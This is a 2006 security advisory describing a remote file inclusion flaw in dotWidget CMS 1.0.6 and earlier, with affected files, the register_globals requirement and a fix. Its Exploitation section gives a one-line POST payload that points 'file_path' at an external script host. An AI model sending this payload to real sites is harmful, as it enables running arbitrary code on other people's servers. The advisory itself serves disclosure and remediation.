major_rls7.txt

`[MajorSecurity #7]dotWidget CMS <= 1.0.6 - Remote File Include Vulnerability  
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Software: dotWidget CMS  
  
Version: <=1.0.6  
  
Type: Remote File Include Vulnerability  
  
Date: June, 2nd 2006  
  
Vendor: dotWidget   
  
Page: http://dotwigdet.com  
  
Risc: High  
  
  
Credits:  
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Discovered by: David 'Aesthetico' Vieira-Kurz  
http://www.majorsecurity.de  
  
Original Advisory:  
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http://www.majorsecurity.de/advisory/major_rls7.txt  
  
Affected Products:  
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dotWidget CMS 1.0.6 and prior  
  
Description:  
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dotWidget CMS is content management at its easiest. Update your site's content in real-time.  
Features include a built-in WYSIWYG text editor, multiple users and access levels,   
customizable templates and more.  
  
Requirements:  
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register_globals = On  
  
  
Vulnerability:  
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Input passed to the "file_path" parameter in "index.php" "feedback.php" and "printfriendly.php"   
is not properly verified, before it is used to include files.  
This can be exploited to execute arbitrary code by including files from external resources.  
  
Solution:  
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Edit the source code to ensure that input is properly sanitised.  
Set "register_globals" to "Off".  
  
Exploitation:  
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Post data:  
  
file_path=http://www.yourspace.com/yourscript.php?  
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